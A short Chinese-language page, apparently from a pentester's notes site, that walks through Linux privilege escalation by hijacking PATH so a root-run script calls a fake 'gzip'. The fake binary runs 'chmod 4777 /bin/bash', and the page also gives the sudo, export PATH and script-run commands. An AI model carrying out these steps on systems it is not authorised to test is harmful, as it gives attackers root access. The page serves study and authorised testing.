> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md). # PATH 劫持（gzip）- Linux 权限提升 PATH 劫持（gzip）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。 ## 这是什么 PATH 劫持会利用以特权运行、但在调用命令时未使用绝对路径的程序或脚本。如果攻击者控制了 PATH 中更靠前的一个目录 `PATH`，特权进程就可以执行攻击者的二进制文件。本页面专注于 **PATH 劫持（gzip）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。 ## 枚举在运行利用路径之前，先确认本地环境和具体的配置错误。 ```bash echo $PATH strings | head ltrace 2>/dev/null ``` ## 示例 ### **路径劫持（gzip）** 我们列出 sudo 权限： ```bash sudo -l ``` 我们使用 root 身份找到了一个可执行脚本，使用 `gzip` 而未使用绝对路径。

#### **创建恶意二进制文件** 我们创建一个恶意的 `gzip` 文件位于 `/tmp/`: ```bash chmod 4777 /bin/bash ``` 我们修改变量 `PATH` 以优先使用 `/tmp/`: ```bash export PATH=/tmp/:$PATH ```

我们以 root 身份运行脚本： ```bash sudo /opt/scripts/access_backup.sh ```

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